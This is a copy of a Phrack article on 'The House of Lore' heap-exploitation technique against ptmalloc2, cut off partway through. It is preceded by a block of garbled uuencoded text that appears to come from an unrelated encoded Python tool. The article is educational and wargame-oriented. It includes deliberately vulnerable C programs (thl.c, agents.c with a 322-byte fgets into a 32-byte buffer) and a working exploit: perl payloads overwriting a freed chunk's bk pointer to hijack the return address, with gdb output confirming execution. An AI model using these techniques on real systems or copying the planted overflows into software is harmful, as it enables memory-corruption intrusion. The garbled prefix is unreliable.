M"61U;7!?=&%R9V5T<R@I"@H):68H;W!T<RYS<VP@86YD(&YO="!S<VQ?879A M:6QA8FQE*3H*"0EP<FEN="`B+2US<VP@=7‑E9"P@8G5T('1H:7,@=F5R<VEO M;B!O9B!P>71H;VX@9&]E<R!N;W0@:&%V92`G:6UP;W)T('‑S;"<@;W!T:6]N M(@H)"7!R:6YT(")&;W(@=F5R<VEO;G,@;V8@<'ET:&]N(#P@,BXV+"!Y;W4@ M8V%N('5S92!H='1P.B\O<'EP:2YP>71H;VXN;W)G+W!Y<&DO<W‑L(@H)"7!R M:6YT(")T;R!G970@=&AA="!S=7!P;W)T(@H)"7‑Y<RYE>&ET*#$I"@H):68H M;W!T<RYS965D*3H*"0ER86YD;VTN<V5E9"AO<'1S+G‑E960I"@D)<')I;G0@ M(ELK72!3965D960@=VET:"`E9"(@)2!O<'1S+G‑E960*"@ER971U<FX@;W!T M<RP@87)G<PH*9&5F(&UA:6XH87)G=6UE;G1S*3H*"@EI9B@B+2UT97‑T(B!I M;B!A<F=U;65N=',I.@H)"6EM<&]R="!D;V‑T97‑T"@D)9&]C=&5S="YT97‑T M;6]D*"D*"0ER971U<FX*"@EO<'1S+"!A<F=S(#T@<&%R<V5?87)G<RAA<F=U M;65N=',I"@H):68H;W!T<RYM;V1E(#T](")O9F9S971S(BDZ"@D)<&\@/2!0 M<F]&5%!$7T]F9G‑E=',H87)G<ULP72P@;W!T<RD*"0EI9BAO<'1S+G1A<F=E M="`\(#$@;W(@;W!T<RYT87)G970@/B!L96XH;V9F<V5T7W1A<F=E=',I*3H* M"0D)9'5M<%]T87)G971S*"D*"0H)"7!O+G)U;BAO9F9S971?=&%R9V5T<UMO M<'1S+G1A<F=E="TQ72D*"0H)96QI9BAO<'1S+FUO9&4@/3T@(F)R=71E9F]R M8V4B*3H*"0EP8B`](%!R;T944$1?0G)U=&5F;W)C92AA<F=S6S!=+"!O<'1S M*0H)"6EF*&]P=',N=&%R9V5T(#P@,2!O<B!O<'1S+G1A<F=E="`^(&QE;BAB M<G5T969O<F‑E7W1A<F=E=',I*3H*"0D)9'5M<%]T87)G971S*"D*"@D)<&(N M<G5N*&)R=71E9F]R8V5?=&%R9V5T<UMO<'1S+G1A<F=E="TQ72D*"FEF(%]? K;F%M95]?(#T]("=?7VUA:6Y?7R<Z"@EM86EN*'‑Y<RYA<F=V6S$Z72D*"@``

`

The House Of Lore

==Phrack Inc.==

Volume 0x0e, Issue 0x43, Phile #0x08 of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ The House Of Lore: Reloaded ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=| |=‑‑‑‑‑‑‑‑‑‑‑‑‑=[ ptmalloc v2 & v3: Analysis & Corruption ]=‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ by blackngel ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

^^

*`* @@ *`* HACK THE WORLD

* *‑‑* *

## <blackngel1@gmail.com>

|| <black@set‑ezine.org>

* *

* * (C) Copyleft 2010 everybody

_* *_

‑‑[ CONTENTS

1 ‑ Preface

2 ‑ Introduction

2.1 ‑ KiddieDbg Ptmalloc2

2.2 ‑ SmallBin Corruption

2.2.1 ‑ Triggering The HoL(e)

2.2.2 ‑ A More Confusing Example

3 ‑ LargeBin Corruption Method

4 ‑ Analysis of Ptmalloc3

4.1 ‑ SmallBin Corruption (Reverse)

4.2 ‑ LargeBin Method (TreeBin Corruption)

4.3 ‑ Implement Security Checks

4.3.1 ‑ Secure Heap Allocator (Utopian)

4.3.2 ‑ dnmalloc

4.3.3 ‑ OpenBSD malloc

5 ‑ Miscellany, ASLR and More

6 ‑ Conclusions

7 ‑ Acknowledgments

8 ‑ References

9 ‑ Wargame Code

‑‑[ END OF CONTENTS

.‑‑‑‑‑‑‑‑‑‑‑.

‑‑‑[ 1 ‑‑‑[ Preface ]‑‑‑

.‑‑‑‑‑‑‑‑‑‑‑.

No offense, I could say that sometimes the world of hackers (at least) is divided into two camps:

1.‑ The illustrious characters who spend many hours to find holes in the current software.

2.‑ And the hackers who spend most of their time to find a way to exploit a vulnerable code/environment that does not exist yet.

Maybe, it is a bit confusing but this is like the early question: which came first, the chicken or the egg? Or better... Which came first, the bug or the exploit?

Unlike what happens with an ordinary Heap Overflow, where we could say it's the logical progression over time of a Stack Overflow, with The House of Lore technique seems to happen something special and strange, we know it's there (a thorn in your mind), that something happens, something is wrong and that we can exploit it.

But we do not know how to do it. And that is all over this stuff, we know the technique (at least the Phantasmal Phantasmagoria explanation), but perhaps has anyone seen a sample vulnerable code that can be exploited?

Maybe someone is thinking: well, if the bug exists and it is an ordinary Heap Overflow...

1.‑ What are the conditions to create a new technique?

2.‑ Why a special sequence of calls to malloc( ) and free( ) allows a specific exploit technique and why another sequence needs other technique?

3.‑ What are the names of those sequences? Are the sequences a bug or is it pure luck?

This can give much food for thought. If Phantasmal had left a clear evidence of his theory, surely we would have forgotten about it, but as this did not happened, some of us are spending all day analyzing the way to create a code that can be committed with a technique that a virtual expert gave us in 2005 in a magnificent article that everyone already knows, right?

We speak about "Malloc Maleficarum" [1], great theory that I myself had the opportunity to demonstrate in practice in the "Malloc Des‑Maleficarum" [2] article. But unfortunately I left a job unresolved yet. In the pas I was not able to interpret so correct one of the techniques that were presented by Phantasmal, we speak of course of "The House of Lore" technique, but in a moment of creativity it seems that I finally found a solution.

Here I submit the details of how a vulnerable code can be attacked with The House of Lore (THoL from now), thus completing a stage that for some reason was left unfinished.

In addition, we will target not only the smallbin corruption method which many have heard of, but we also introduce the complications in largebin method and how to solve them. I also present two variants based on these techniques that I have found to corrupt the Ptmalloc3 structure.

There are also more content in this paper like a small program where to apply one of the techniques can be exploited, it is very useful for an exploiting‑wargame.

And... yes, THoL was exactly the thorn that I had into my mind.

<< One can resist the invasion of an army but one cannot resist the invasion of ideas. >>

[ Victor Hugo ]

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

‑‑‑[ 2 ‑‑‑[ Introduction ]‑‑‑

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

Then, before starting with practical examples, we reintroduce the technical background of the THoL. While that one might take the Phantasmal's theory as the only support for subsequent descriptions, we will offer a bigger and more deep approach to the subject and also some small indications on how you can get some information from Ptmalloc2 in runtime without having to modify or recompile your personal GlibC.

We mention that dynamic hooks could be a better way to this goal. More control, more conspicuous.

<< Great spirits have always encountered violent opposition from mediocre minds. >>

Albert Einstein ]

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

‑‑‑[ 2.1 ‑‑‑[ KiddieDbg Ptmalloc2 ]‑‑‑

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

In an effort to make things easier to the reader when we will perform all subsequent tests, let's indicate the simple way you can use PTMALLOC2 to obtain the necessary information from within each attack.

To avoid the tedious task of recompiling GLIBC when one makes a minor change in "malloc.c", we decided to directly download the sources of ptmalloc2 from: http://www.malloc.de/malloc/ptmalloc2‑current.tar.gz.

Then we compiled it in a Kubuntu 9.10 Linux distribution (it will not be a great effort to type a make) and you can directly link it as a static library to each of our examples like this:

gcc prog.c libmalloc.a ‑o prog

However, before compiling this library, we allowed ourselves the luxury of introducing a pair of debugging sentences. To achieve this we made use of a function that is not accessible to everybody, one has to be very eleet to know it and only those who have been able to escape to Matrix have the right to use it. This lethal weapon is known among the gurus as "printf( )".

And now, enough jokes, here are the small changes in "malloc.c" to get some information at runtime:

‑‑‑‑‑ snip ‑‑‑‑‑

Void_t*

_int_malloc(mstate av, size_t bytes)

{

....

checked_request2size(bytes, nb);

if ((unsigned long)(nb) <= (unsigned long)(av‑>max_fast)) { ...

}

if (in_smallbin_range(nb)) {

idx = smallbin_index(nb);

bin = bin_at(av,idx);

if ( (victim = last(bin)) != bin) {

printf("\n[PTMALLOC2] ‑> (Smallbin code reached)"); printf("\n[PTMALLOC2] ‑> (victim = [ %p ])", victim);

if (victim == 0) /* initialization check */

malloc_consolidate(av);

else {

bck = victim‑>bk;

printf("\n[PTMALLOC2] ‑> (victim‑>bk = [ %p ])\n", bck);

set_inuse_bit_at_offset(victim, nb);

bin‑>bk = bck;

bck‑>fd = bin;

if (av != &main_arena)

victim‑>size |= NON_MAIN_ARENA; check_malloced_chunk(av, victim, nb);

return chunk2mem(victim);

}

}

}

‑‑‑‑‑ snip ‑‑‑‑‑

Here we can know when a chunk is extracted from its corresponding bin to satisfy a memory request of appropriate size. In addition, we can control the pointer value that takes the "bk" pointer of a chunk if it has been previously altered.

‑‑‑‑‑ snip ‑‑‑‑‑

use_top:

victim = av‑>top;

size = chunksize(victim);

if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE)) { ........

printf("\n[PTMALLOC2] ‑> (Chunk from TOP)");

return chunk2mem(victim);

}

‑‑‑‑‑ snip ‑‑‑‑‑

Here you simply provide a warning to be aware of when a memory request is served from the Wilderness chunk (av‑>top).

‑‑‑‑‑ snip ‑‑‑‑‑

bck = unsorted_chunks(av);

fwd = bck‑>fd;

p‑>bk = bck;

p‑>fd = fwd;

bck‑>fd = p;

fwd‑>bk = p;

printf("\n[PTMALLOC2] ‑> (Freed and unsorted chunk [ %p ])", p);

‑‑‑‑‑ snip ‑‑‑‑‑

Unlike the first two changes which were introduced in the "_int_malloc( )" function, the latter did it in "_int_free( )" and clearly indicates when a chunk has been freed and introduced into the unsorted bin for a further use of it.

<< I have never met a man so ignorant that I couldn't learn something from him. >>

[ Galileo Galilei ]

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

‑‑‑[ 2.2 ‑‑‑[ SmallBin Corruption ]‑‑‑

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

Take again before starting the piece of code that will trigger the vulnerability described in this paper:

‑‑‑‑‑ snip ‑‑‑‑‑

if (in_smallbin_range(nb)) {

idx = smallbin_index(nb);

bin = bin_at(av,idx);

if ( (victim = last(bin)) != bin) {

if (victim == 0) /* initialization check */

malloc_consolidate(av);

else {

bck = victim‑>bk; set_inuse_bit_at_offset(victim, nb);

bin‑>bk = bck;

bck‑>fd = bin;

if (av != &main_arena)

victim‑>size |= NON_MAIN_ARENA; check_malloced_chunk(av, victim, nb);

return chunk2mem(victim);

}

‑‑‑‑‑ snip ‑‑‑‑‑

To reach this area of the code inside "_int_malloc( )", one assumes the fact that the size of memory request is largest that the current value of "av‑>max_fast" in order to pass the first check and avoid fastbin[ ] utilization. Remember that this value is "72" by default.

This done, then comes the function "in_smallbin_range(nb)" which checks in turn if the chunk of memory requested is less than that MIN_LARGE_SIZE, defined to 512 bytes in malloc.c.

We know from the documentation that: "the size bins for less than 512 bytes contain always the same size chunks". With this we know that if a chunk of a certain size has been introduced in its corresponding bin, a further request of the same size will find the appropriate bin and will return the previously stored chunk. The functions "smallbin_index(nb)" and "bin_at(av, idx)" are responsible for finding the appropriate bin for the chunk requested.

We also know that a "bin" is a couple of pointers "fd" and "bk", the purpose of the pointers is to close the doubly linked list of the free chunks. The macro "last(bin)" returns the pointer "bk" of this "fake chunk", it also indicates the last available chunk in the bin (if any). If none exists, the pointer "bin‑>bk" would be pointing to itself, then it will fail the search and it would be out of the smallbin code.

If there is an available chunk of adequate size, the process is simple. Before being returned to the caller, it must be unlinked from the list and, in order to do it, malloc uses the following instructions:

1) bck = victim‑>bk; // bck points to the penultimate chunk

2) bin‑>bk = bck; // bck becomes the last chunk

3) bck‑>fd = bin; // fd pointer of the new last chunk points

to the bin to close the list again

If all is correct, the user is given the pointer *mem of victim by the macro "chunk2mem(victim)."

The only extra tasks in this process are to set the PREV_INUSE bit of the contiguous chunk, and also to manage the NON_MAIN_ARENA bit if victim is not in the main arena by default.

And here is where the game starts.

The only value that someone can control in this whole process is obviously the value of "victim‑>bk". But to accomplish this, a necessary condition must be satisfied:

1 ‑ That two chunks have been allocated previously, that the latter has been freed and that the first will be vulnerable to an overflow.

If this is true, the overflow of the first chunk will allow to manipulate the header of the already freed second chunk, specifically the "bk" pointer because other fields are not interesting at this time. Always remember that the overflow must always occur after the release of this second piece, and I insist on it because we do not want to blow the alarms within "_int_free()" before its time.

As mentioned, if this manipulated second piece is introduced in its corresponding bin and a new request of the same size is performed, the smallbin code is triggered, and therefore come to the code that interests us.

"bck" is pointing to the altered "bk" pointer of victim and as a result, will become the last piece in "bin‑>bk = bck". Then a subsequent call to malloc( ) with the same size could deliver a chunk in the position of memory with which we had altered the "bk" pointer, and if this were in the stack we already know what happens.

In this attack one must be careful with the sentence "bck‑>fd = bin" since this code tries to write to the pointer "fd" the bin's address to close the linked list, this memory area must have writing permissions.

The only last thing really important for the success of our attack:

When a chunk is freed, it is inserted into the known "unsorted bin". This is a special bin, also a doubly linked list, with the peculiarity that the chunks are not sorted (obviously) according to the size. This bin is like a stack, the chunks are placed in this bin when they are freed and the chunks will always been inserted in the first position.

This is done with the intention that a subsequent call to "malloc( ), calloc( ) or realloc( )" can make use of this chunk if its size can fulfill the request. This is done to improve efficiency in the memory allocation process as each chunk introduced in the unsorted bin has a chance to be reused immediately without going through the sorting algorithm.

How does this process work?

All begins within "_int_malloc( )" with the next loop:

while ( (victim = unsorted_chunks(av)‑>bk) != unsorted_chunks(av))

then takes the second last piece of the list:

bck = victim‑>bk

checks if the memory request is within "in_smallbin_range( )", and it is checked whether the request could be met with victim. Otherwise, proceed to remove victim from unsorted bin with:

unsorted_chunks(av)‑>bk = bck;

bck‑>fd = unsorted_chunks(av);

which is the same as saying: the bin points to the penultimate chunk, and the penultimate chunk points to the bin which becomes the latest chunk in the list.

Once removed from the list, two things can happen. Either the size of the removed chunk matches with the request made (size == nb) in which case it returns the memory for this chunk to the user, or it does not coincide and that's when we proceed to introduce the chunk in the adequate bin with:

bck = bin_at(av, victim_index);

fwd = bck‑>fd;

.....

.....

victim‑>bk = bck;

victim‑>fd = fwd;

fwd‑>bk = victim;

bck‑>fd = victim;

Why do we mention this? Well, the condition that we mentioned requires that the freed and manipulated chunk will be introduced in its appropriate bin, since as Phantasmal said, altering an unsorted chunk is not interesting at this time.

With this in mind, our vulnerable program should call malloc( ) between the vulnerable copy function and the subsequent call to malloc( ) requesting the same size as the chunk recently freed. In addition, this intermediate call to malloc( ) should request a size larger than the released one, so that the request can not be served from unsorted list of chunks and proceeds to order the pieces into their respective bins.

We note before completing this section that a bin of a real‑life application might contain several chunks of the same size stored and waiting to be used. When a chunk comes from unsorted bin, that is inserted into its appropriate bin as the first in the list, and according to our theory, our altered chunk is not being used until it occupies the last position (last(bin)). If this occurs, multiple calls to malloc( ) with the same size must be triggered so that our chunk reaches the desired position in the circular list. At that point, the "bk" pointer must be hacked.

Graphically would pass through these stages:

Stage 1: Insert victim into smallbin[ ].

bin‑>bk ___ bin‑>fwd o‑‑‑‑‑‑‑‑[bin]‑‑‑‑‑‑‑‑‑‑o

! ^ ^

[last]‑‑‑‑‑‑‑| |‑‑‑‑‑‑‑[victim] ^| l‑>fwd v‑>bk ^|

|!

[....] [

\\ /

[....] [....]

^ |____________^ |

|________________|

Stage 2: "n" calls to malloc( ) with same size.

bin‑>bk ___ bin‑>fwd o‑‑‑‑‑‑‑‑[bin]‑‑‑‑‑‑‑‑‑‑o

! ^ ^

[victim]‑‑‑‑‑‑| |‑‑‑‑‑‑‑‑[first] ^| v‑>fwd f‑>bk ^|

|!

[....] [

\\ /

[....] [....]

^ |____________^ |

|________________|

Stage 3: Overwrite "bk" pointer of victim.

bin‑>bk ___ bin‑>fwd o‑‑‑‑‑‑‑‑[bin]‑‑‑‑‑‑‑‑‑‑o

& stack ! ^ ^ !

^‑‑‑‑‑‑‑‑[victim]‑‑‑‑‑‑| |‑‑‑‑‑‑‑‑[first]

v‑>bk ^ v‑>fwd f‑>bk ^|

|

[....] [

\\ /

[....] [....]

^ |____________^ |

|________________|

Stage 4: Last call to malloc( ) with same size.

bin‑>bk ___ bin‑>fwd o‑‑‑‑‑‑‑‑[bin]‑‑‑‑‑‑‑‑‑‑o

& ‑w‑ perm ! ^ ^ !

^‑‑‑‑‑‑‑‑[&stack]‑‑‑‑‑‑| |‑‑‑‑‑‑‑‑[first]

v‑>bk ^ v‑>fwd f‑>bk ^|

|

[....] [

\\ /

[....] [....]

^ |____________^ |

|________________|

It is where the pointer "*mem" is returned pointing to the stack and thus giving full control of the attacked system. However as there are people who need to see to believe, read on next section.

Note: I have not checked all versions of glibc, and some changes have been made since I wrote this paper. For example, on an Ubuntu box (with glibc 2.11.1) we see the next fix:

‑‑‑‑‑ snip ‑‑‑‑‑

bck = victim‑>bk;

if (__builtin_expect (bck‑>fd != victim, 0))

{

errstr = "malloc(): smallbin double linked list corrupted"; goto errout;

}

set_inuse_bit_at_offset(victim, nb);

bin‑>bk = bck;

bck‑>fd = bin;

‑‑‑‑‑ snip ‑‑‑‑‑

This check can still be overcome if you control an area into the stack and you can write an integer such that its value is equal to the address of the recently free chunk (victim). This must happen before the next call to malloc( ) with the same size requested.

<< The grand aim of all science is to cover the greatest number of empirical facts by logical deduction from the smallest number of hypotheses or axioms. >>

[Albert Einstein ]

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑[ 2.2.1 ‑‑‑[ Triggering The HoL(e) ]‑‑‑

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

After the theory... A practical example to apply this technique, here is a detailed description:

‑‑‑[ thl.c ]‑‑‑

#include <stdio.h>

#include <string.h>

void evil_func(void)

{

printf("\nThis is an evil function. You become a cool \ hacker if you are able to execute it.\n");

}

void func1(void)

{

char *lb1, *lb2;

lb1 = (char *) malloc(128);

printf("LB1 ‑> [ %p ]", lb1);

lb2 = (char *) malloc(128);

printf("\nLB2 ‑> [ %p ]", lb2);

strcpy(lb1, "Which is your favourite hobby? "); printf("\n%s", lb1);

fgets(lb2, 128, stdin);

}

int main(int argc, char *argv[])

{

char *buff1, *buff2, *buff3;

malloc(4056);

buff1 = (char *) malloc(16);

printf("\nBuff1 ‑> [ %p ]", buff1);

buff2 = (char *) malloc(128);

printf("\nBuff2 ‑> [ %p ]", buff2);

buff3 = (char *) malloc(256);

printf("\nBuff3 ‑> [ %p ]\n", buff3);

free(buff2);

printf("\nBuff4 ‑> [ %p ]\n", malloc(1423));

strcpy(buff1, argv[1]);

func1();

return 0;

}

‑‑‑[ end thl.c ]‑‑‑

The program is very simple, we have a buffer overflow in "buff1" and an "evil_func( )" function which is never called but which we want to run.

In short we have everything we need in order to trigger THoL:

1) Make a first call to malloc(4056), it shouldn't be necessary but we use to warm up the system. Furthermore, in a real‑life application the heap probably won't be starting from scratch.

2) We allocate three chunks of memory, 16, 128 and 256 bytes respectively, since no chunks has been released before, we know that they must been taken from the Wilderness or Top Chunk.

3) Free() the second chunk of 128 bytes. This is placed in the unsorted bin.

4) Allocate a fourth piece larger than the most recently freed chunk. The "buff2" is now extracted from the unsorted list and added to its appropriate bin.

5) We have a vulnerable function strcpy( ) that can overwrite the header of the chunk previously passed to free( ) (including its "bk" field).

6) We call func1( ) which allocated two blocks of 128 bytes (the same size as the piece previously released) to formulate a question and get a user response.

It seems that in point 6 there is nothing vulnerable, but everyone knows that if "LB2" point to the stack, then we may overwrite a saved return address. That is our goal, and we will see this approach.

A basic execution could be like this:

black@odisea:~/ptmalloc2$ ./thl AAAA

[PTMALLOC2] ‑> (Chunk from TOP)

Buff1 ‑> [ 0x804ffe8 ]

[PTMALLOC2] ‑> (Chunk from TOP)

Buff2 ‑> [ 0x8050000 ]

[PTMALLOC2] ‑> (Chunk from TOP)

Buff3 ‑> [ 0x8050088 ]

[PTMALLOC2] ‑> (Freed and unsorted chunk [ 0x804fff8 ]) [PTMALLOC2] ‑> (Chunk from TOP)

Buff4 ‑> [ 0x8050190 ]

[PTMALLOC2] ‑> (Smallbin code reached)

[PTMALLOC2] ‑> (victim = [ 0x804fff8 ])

[PTMALLOC2] ‑> (victim‑>bk = [ 0x804e188 ])

LB1 ‑> [ 0x8050000 ]

[PTMALLOC2] ‑> (Chunk from TOP)

LB2 ‑> [ 0x8050728 ]

Which is your favourite hobby: hack

black@odisea:~/ptmalloc2$

We can see that the first 3 malloced chunks are taken from the TOP, then the second chunk (0x0804fff8) is passed to free() and placed in the unsorted bin. This piece will remain here until the next call to malloc( ) will indicate whether it can meet the demand or not.

Since the allocated fourth buffer is larger than the recently freed, it's taken again from TOP, and buff2 is extracted from unsorted bin to insert it into the bin corresponding to its size (128).

After we see how the next call to malloc(128) (lb1) triggers smallbin code returning the same address that the buffer previously freed. You can see the value of "victim‑>bk" which is what should take (lb2) after this address had been passed to the chunk2mem( ) macro.

However, we can see in the output: the lb2 is taken from the TOP and not from a smallbin. Why? Simple, we've just released a chunk (only had a piece in the corresponding bin to the size of this piece) and since we have not altered the "bk" pointer of the piece released, the next check:

if ( (victim = last(bin)) != bin)

which is the same as:

if ( (victim = (bin‑>bk = oldvictim‑>bk)) != bin)

will say that the last piece in the bin points to the bin itself, and therefore, the allocation must be extracted from another place.

Until here all right, then, what do we need to exploit the program?

1) Overwrite buff2‑>bk with an address on the stack near a saved return address (inside the frame created by func1( )).

2) This address, in turn, must fall on a site such that the "bk" pointer of this fake chunk will be an address with write permissions.

3) The evil_func()'s address with which we want to overwrite EIP and the necessary padding to achieve the return address.

Let's start with the basics:

If we set a breakpoint in func1( ) and examine memory, we get:

(gdb) x/16x $ebp‑32

0xbffff338: 0x00000000 0x00000000 0xbffff388 0x00743fc0 0xbffff348: 0x00251340 0x00182a20 0x00000000 0x00000000 0xbffff358: 0xbffff388 0x08048d1e 0x0804ffe8 0xbffff5d7 0xbffff368: 0x0804c0b0 0xbffff388 0x0013f345 0x08050088

EBP ‑> 0xbffff358

RET ‑> 0xbffff35C

But the important thing here is that we must alter buff2‑>bk with the "0xbffff33c" value so the new victim‑>bk take a writable address.

Items 1 and 2 passed. The evil_func()'s address is:

(gdb) disass evil_func

Dump of assembler code for function evil_func:

0x08048ba4 <evil_func+0>: push %ebp

And now, without further delay, let's see what happens when we merge all these elements into a single attack:

black@odisea:~/ptmalloc2$ perl ‑e 'print "BBBBBBBB". "\xa4\x8b\x04\x08"' > evil.in

...

(gdb) run `perl ‑e 'print "A"x28 . "\x3c\xf3\xff\xbf"'` < evil.in

[PTMALLOC2] ‑> (Chunk from TOP)

Buff1 ‑> [ 0x804ffe8 ]

[PTMALLOC2] ‑> (Chunk from TOP)

Buff2 ‑> [ 0x8050000 ]

[PTMALLOC2] ‑> (Chunk from TOP)

Buff3 ‑> [ 0x8050088 ]

[PTMALLOC2] ‑> (Freed and unsorted chunk [ 0x804fff8 ])

[PTMALLOC2] ‑> (Chunk from TOP)

Buff4 ‑> [ 0x8050190 ]

[PTMALLOC2] ‑> (Smallbin code reached)

[PTMALLOC2] ‑> (victim = [ 0x804fff8 ])

[PTMALLOC2] ‑> (victim‑>bk = [ 0xbffff33c ]) // First stage of attack

LB1 ‑> [ 0x8050000 ]

[PTMALLOC2] ‑> (Smallbin code reached)

[PTMALLOC2] ‑> (victim = [ 0xbffff33c ]) // Victim in the stack

[PTMALLOC2] ‑> (victim‑>bk = [ 0xbffff378 ]) // Address with write perms

LB2 ‑> [ 0xbffff344 ] // Boom!

Which is your favourite hobby?

This is an evil function. You become a cool hacker if you are able to

execute it. // We get a cool msg.

Program received signal SIGSEGV, Segmentation fault.

0x08048bb7 in evil_func ()

(gdb)

You must be starting to understand now what I wanted to explain in the preface of this article, instead of discovering or inventing a new technique, what we have been doing for a long time is to find the way to design a vulnerable application to this technique which had fallen us from the sky a few years ago.

Compile this example with normal GLIBC and you will get the same result, only remember adjusting evil_func( ) address or the area where you have stored your custom arbitrary code.

<< The unexamined life is not worth living. >>

Socrates ]

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑[ 2.2.2 ‑‑‑[ A More Confusing Example ]‑‑‑

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

To understand how THoL could be applied in a real‑life application, I present below a source code created by me as if it were a game, that will offer a broader view of the attack.

This is a crude imitation of an agent manager. The only thing this program can do is creating a new agent, editing it (ie edit their names and descriptions) or deleting it. To save space, one could edit only certain fields of an agent, leaving the other free without taking up memory or freeing when no longer needed.

In addition, to avoid unnecessary extensions in this paper, the entire information entered into the program is not saved in any database and only remains available while the application is in execution.

‑‑‑[ agents.c ]‑‑‑

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

void main_menu(void);

void create_agent(void);

void select_agent(void);

void edit_agent(void);

void delete_agent(void);

void edit_name(void);

void edit_lastname(void);

void edit_desc(void);

void delete_name(void);

void delete_lastname(void);

void delete_desc(void);

void show_data_agent(void);

typedef struct agent {

int id;

char *name;

char *lastname;

char *desc;

} agent_t;

agent_t *agents[256];

int agent_count = 0;

int sel_ag = 0;

int main(int argc, char *argv[])

{

main_menu();

}

void main_menu(void)

{

int op = 0;

char opt[2];

printf("\n\t\t\t\t[1] Create new agent"); printf("\n\t\t\t\t[2] Select Agent");

printf("\n\t\t\t\t[3] Show Data Agent"); printf("\n\t\t\t\t[4] Edit agent");

printf("\n\t\t\t\t[0] <‑ EXIT");

printf("\n\t\t\t\tSelect your option:");

fgets(opt, 3, stdin);

op = atoi(opt);

switch (op) {

case 1:

create_agent();

break;

case 2:

select_agent();

break;

case 3:

show_data_agent();

break;

case 4:

edit_agent();

break;

case 0:

exit(0);

default:

break;

}

main_menu();

}

void create_agent(void)

{

agents[agent_count] = (agent_t *) malloc(sizeof(agent_t)); sel_ag = agent_count;

agents[agent_count]‑>id = agent_count; agents[agent_count]‑>name = NULL; agents[agent_count]‑>lastname = NULL; agents[agent_count]‑>desc = NULL;

printf("\nAgent %d created, now you can edit it", sel_ag); agent_count += 1;

}

void select_agent(void)

{

char ag_num[2];

int num;

printf("\nWrite agent number: ");

fgets(ag_num, 3, stdin);

num = atoi(ag_num);

if ( num >= agent_count ) {

printf("\nOnly %d available agents, select another", agent_count); } else {

sel_ag = num;

printf("\n[+] Agent %d selected.", sel_ag);

}

}

void show_data_agent(void)

{

printf("\nAgent [%d]", agents[sel_ag]‑>id);

printf("\nName: ");

if(agents[sel_ag]‑>name != NULL)

printf("%s", agents[sel_ag]‑>name);

printf("\nLastname: ");

if(agents[sel_ag]‑>lastname != NULL)

printf("%s", agents[sel_ag]‑>lastname);

printf("\nDescription: ");

if(agents[sel_ag]‑>desc != NULL)

printf("%s", agents[sel_ag]‑>desc);

}

void edit_agent(void)

{

int op = 0;

char opt[2];

printf("\n\t\t\t\t[1] Edit name");

printf("\n\t\t\t\t[2] Edit lastname");

printf("\n\t\t\t\t[3] Edit description"); printf("\n\t\t\t\t[4] Delete name");

printf("\n\t\t\t\t[5] Delete lastname"); printf("\n\t\t\t\t[6] Delete description"); printf("\n\t\t\t\t[7] Delete agent");

printf("\n\t\t\t\t[0] <‑ MAIN MENU"); printf("\n\t\t\t\tSelect Agent Option: ");

fgets(opt, 3, stdin);

op = atoi(opt);

switch (op) {

case 1:

edit_name();

break;

case 2:

edit_lastname();

break;

case 3:

edit_desc();

break;

case 4:

delete_name();

break;

case 5:

delete_lastname();

break;

case 6:

delete_desc();

break;

case 7:

delete_agent();

break;

case 0:

main_menu();

default:

break;

}

edit_agent();

}

void edit_name(void)

{

if(agents[sel_ag]‑>name == NULL) {

agents[sel_ag]‑>name = (char *) malloc(32); printf("\n[!!!]malloc(ed) name [ %p ]", agents[sel_ag]‑>name); }

printf("\nWrite name for this agent: "); fgets(agents[sel_ag]‑>name, 322, stdin);

}

void delete_name(void)

{

if(agents[sel_ag]‑>name != NULL) { free(agents[sel_ag]‑>name);

agents[sel_ag]‑>name = NULL;

}

}

void edit_lastname(void)

{

if(agents[sel_ag]‑>lastname == NULL) { agents[sel_ag]‑>lastname = (char *) malloc(128); printf("\n[!!!]malloc(ed) lastname [ %p ]",agents[sel_ag]‑>lastname); }

printf("\nWrite lastname for this agent: "); fgets(agents[sel_ag]‑>lastname, 127, stdin);

}

void delete_lastname(void)

{

if(agents[sel_ag]‑>lastname != NULL) { free(agents[sel_ag]‑>lastname); agents[sel_ag]‑>lastname = NULL;

}

}

void edit_desc(void)

{

if(agents[sel_ag]‑>desc == NULL) {

agents[sel_ag]‑>desc = (char *) malloc(256); printf("\n[!!!]malloc(ed) desc [ %p ]", agents[sel_ag]‑>desc); }

printf("\nWrite description for this agent: "); fgets(agents[sel_ag]‑>desc, 255, stdin);

}

void delete_desc(void)

{

if(agents[sel_ag]‑>desc != NULL) { free(agents[sel_ag]‑>desc);

agents[sel_ag]‑>desc = NULL;

}

}

void delete_agent(void)

{

if (agents[sel_ag] != NULL) {

free(agents[sel_ag]);

agents[sel_ag] = NULL;

printf("\n[+] Agent %d deleted\n", sel_ag);

if (sel_ag == 0) {

agent_count = 0;

printf("\n[!] Empty list, please create new agents\n"); } else {

sel_ag ‑= 1;

